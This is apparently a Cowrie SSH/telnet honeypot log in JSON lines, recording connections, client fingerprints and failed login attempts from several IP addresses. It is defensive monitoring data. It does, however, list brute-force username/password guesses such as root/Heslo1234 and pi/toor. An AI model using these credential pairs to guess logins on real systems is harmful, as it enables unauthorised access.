{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41626,"dst_ip":"10.17.0.5","dst_port":22,"session":"b31697eda8c4","protocol":"ssh","message":"New connection: 91.92.40.153:41626 (10.17.0.5:22) [session: b31697eda8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:21.628487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:21.734186Z","src_ip":"91.92.40.153","session":"b31697eda8c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:21.737382Z","src_ip":"91.92.40.153","session":"b31697eda8c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:22.561948Z","src_ip":"91.92.40.153","session":"b31697eda8c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:23.868884Z","src_ip":"91.92.40.153","session":"b31697eda8c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:26.457366Z","src_ip":"139.99.74.35","session":"45f8fc86d0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4ea0fc713a","protocol":"ssh","message":"New connection: 139.99.74.35:57032 (159.203.135.109:22) [session: 8d4ea0fc713a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:26.679683Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45356,"dst_ip":"10.17.0.5","dst_port":22,"session":"55477445e1c9","protocol":"ssh","message":"New connection: 91.92.40.153:45356 (10.17.0.5:22) [session: 55477445e1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.271734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.478901Z","src_ip":"91.92.40.153","session":"55477445e1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.481935Z","src_ip":"91.92.40.153","session":"55477445e1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":33338,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac79348cddf","protocol":"ssh","message":"New connection: 185.242.3.195:33338 (159.203.135.109:22) [session: 5ac79348cddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.587891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.600610Z","src_ip":"185.242.3.195","session":"5ac79348cddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.683897Z","src_ip":"185.242.3.195","session":"5ac79348cddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46232,"dst_ip":"159.203.135.109","dst_port":22,"session":"76008260f274","protocol":"ssh","message":"New connection: 51.250.105.222:46232 (159.203.135.109:22) [session: 76008260f274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.832783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.837367Z","src_ip":"51.250.105.222","session":"76008260f274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:27.964540Z","src_ip":"51.250.105.222","session":"76008260f274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Heslo1234","message":"login attempt [root/Heslo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:28.023638Z","src_ip":"185.242.3.195","session":"5ac79348cddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:28.340051Z","src_ip":"51.250.105.222","session":"76008260f274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:28.587482Z","src_ip":"91.92.40.153","session":"55477445e1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:29.119549Z","src_ip":"185.242.3.195","session":"5ac79348cddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:29.467956Z","src_ip":"51.250.105.222","session":"76008260f274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:29.958080Z","src_ip":"91.92.40.153","session":"55477445e1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54888,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f0033448368","protocol":"telnet","message":"New connection: 170.64.224.25:54888 (159.203.135.109:23) [session: 8f0033448368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:30.864961Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:31.452774Z","src_ip":"139.99.74.35","session":"8d4ea0fc713a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":57048,"dst_ip":"159.203.135.109","dst_port":22,"session":"774921182147","protocol":"ssh","message":"New connection: 139.99.74.35:57048 (159.203.135.109:22) [session: 774921182147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:31.700025Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49810,"dst_ip":"10.17.0.5","dst_port":22,"session":"d480cba12503","protocol":"ssh","message":"New connection: 91.92.40.153:49810 (10.17.0.5:22) [session: d480cba12503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:33.195415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:33.370000Z","src_ip":"91.92.40.153","session":"d480cba12503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:33.373481Z","src_ip":"91.92.40.153","session":"d480cba12503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.606220722198486,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:34.130708Z","src_ip":"170.64.224.25","session":"8e24f5f446ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54892,"dst_ip":"159.203.135.109","dst_port":23,"session":"038e851f6ed4","protocol":"telnet","message":"New connection: 170.64.224.25:54892 (159.203.135.109:23) [session: 038e851f6ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:34.207286Z"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:35.281009Z","src_ip":"91.92.40.153","session":"d480cba12503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:36.481632Z","src_ip":"139.99.74.35","session":"774921182147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":38242,"dst_ip":"159.203.135.109","dst_port":22,"session":"287ccb9d6c33","protocol":"ssh","message":"New connection: 139.99.74.35:38242 (159.203.135.109:22) [session: 287ccb9d6c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:36.707742Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:36.765562Z","src_ip":"91.92.40.153","session":"d480cba12503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49858,"dst_ip":"10.17.0.5","dst_port":22,"session":"e05a572a3be5","protocol":"ssh","message":"New connection: 91.92.40.153:49858 (10.17.0.5:22) [session: e05a572a3be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.056114Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":55236,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cbe421673c7","protocol":"ssh","message":"New connection: 162.144.88.94:55236 (159.203.135.109:22) [session: 5cbe421673c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.149156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.153626Z","src_ip":"162.144.88.94","session":"5cbe421673c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.246896Z","src_ip":"162.144.88.94","session":"5cbe421673c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.508015Z","src_ip":"91.92.40.153","session":"e05a572a3be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.511844Z","src_ip":"91.92.40.153","session":"e05a572a3be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome$@!#","message":"login attempt [root/welcome$@!#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:39.521873Z","src_ip":"162.144.88.94","session":"5cbe421673c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:40.614679Z","src_ip":"162.144.88.94","session":"5cbe421673c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:41.114284Z","src_ip":"91.92.40.153","session":"e05a572a3be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:41.810363Z","src_ip":"139.99.74.35","session":"287ccb9d6c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":36150,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0482aafabc1","protocol":"ssh","message":"New connection: 103.27.238.120:36150 (159.203.135.109:22) [session: f0482aafabc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:41.999017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:42.004001Z","src_ip":"103.27.238.120","session":"f0482aafabc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fa9754674ec","protocol":"ssh","message":"New connection: 139.99.74.35:38268 (159.203.135.109:22) [session: 8fa9754674ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:12:42.069981Z"}
